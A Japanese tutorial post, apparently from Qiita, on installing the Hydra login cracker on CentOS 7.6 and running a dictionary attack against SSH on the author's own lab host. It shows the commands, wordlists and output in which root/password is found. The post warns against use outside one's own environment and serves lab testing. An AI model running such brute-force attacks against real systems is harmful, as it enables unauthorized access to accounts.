Centos7.6でHydraを使う

# 目的
ペネトレーションテスト環境を構築する際に検証ツールの一つとして使い方などの備忘録。
※Centos8からは、パッケージ管理もyumから変更されたので気をつけてください
※また、自分の作成した環境以外への使用は犯罪行為になるため行わないでください。

# 環境
| OS | 7.6 |
|:-:|:-:|:-:|
| epel | 7.11 |
| Hydra | 8.2 |<img width="504" alt="スクリーンショット 2019-12-01 15.11.32.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/43574/148cfd77-221a-9776-d764-96ef63cefcef.png">


# インストール
やることは、以下の２つ

* サードパーティリポジトリのepelのインストール
* Hydraのインストール

## サードパーティリポジトリのepelのインストール
[pkgs.org](https://centos.pkgs.org/7/epel-x86_64/hydra-8.2-1.el7.x86_64.rpm.html)を参照してみると下記のように現在は、epelをインストールすればHydraもepelの管理リポジトリからインストールできるようです。
![スクリーンショット 2019-12-01 13.43.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/43574/b31889b4-60a9-56fe-217d-648af2380690.png)

epelのインストールは下記のコマンドで行います。

```
$ yum install -y epel-release
```

## Hydraのインストール
epelのインストール後、Hydraがインストールできるか確認します。

```
$ yum search hydra
・
・
・
================================================================================ N/S matched: hydra =================================================================================
hydra-frontend.x86_64 : The GTK+ front end for hydra
php-ocramius-generated-hydrator.noarch : An object hydrator
dehydrated.noarch : A client for signing certificates with an ACME server
hydra.x86_64 : Very fast network log-on cracker
```

上記のようにインストール可能なパッケージにHydraがあれば大丈夫です。
インストールは、`yum install`でインストールできます。

```
$ yum install -y hydra
or
$ yum --enablerepo=epel install hydra
```

### 確認
インストールできたか確認を行う場合は、下記のコマンドで行えます。

```
$ which hydra
/usr/bin/hydra
or
$ hydra
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt ftp://xx.xx.x.x
```
Hydraにはバージョンを表示する`-v`に該当するオプションがなく、Hydraと入力すればバージョンが表示されるようです。

# 使い方
Hydraは、プロトコル指定もできるため、`ssh`や`http`に対しても攻撃を行うことができます。

```
hydra -L [ユーザ名辞書ファイル] -P [パスワード辞書ファイル] [プロコトル]://[対象サーバ名/対象サーバIPアドレス]

Example:  hydra -L userlist.txt -P passlist.txt ssh://xxx.xx.x.xxx
```
オプションの`-l`や`-p`を指定すると、ファイル参照ではなく、記述したユーザ名とパスワードで攻撃を行います。

| オプション | 意味 |
|:-:|:-:|:-:|
| -l | ユーザ名 |
| -L | ユーザ辞書ファイル |
| -p | パスワード |
| -P | パスワード辞書ファイル |

## 被攻撃環境
| OS | 7.3 |
|:-:|:-:|:-:|

## 手順
- パスワードリスト取得or作成
- 攻撃検証
- ログの確認

### パスワードリストの取得or作成
辞書ファイルは、ネットで公開されているものかまたは、簡単なものであればテキストとして作成します。

```
$ cat userlist.txt
aaa
bbb
ccc
ddd
root ←　対象のユーザ
admin
test

$ cat passlist.txt
aaa
bbb
ccc
ddd
password　←　対象のパスワード
admin
test
```

### 攻撃検証
```
# hydra -L userlist.txt -P passlist.txt ssh://xxx.xxx.xxx.xxx                                                                                                     
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-12-01 03:46:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: xxx.xxx.xxx.xxx   login: root   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-12-01 03:46:41
```

### ログの確認
Hydraによるアクセスログは被攻撃環境上の`/var/log/secure`で確認することができます。
<img width="504" alt="スクリーンショット 2019-12-01 15.11.32.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/43574/ddc95ba1-06be-8656-fd3d-1226b9a579e5.png">

Hydraの基本的な使い方については以上になります。
もっとうまい使い方などあると思うのでそれぞれ試してみてください。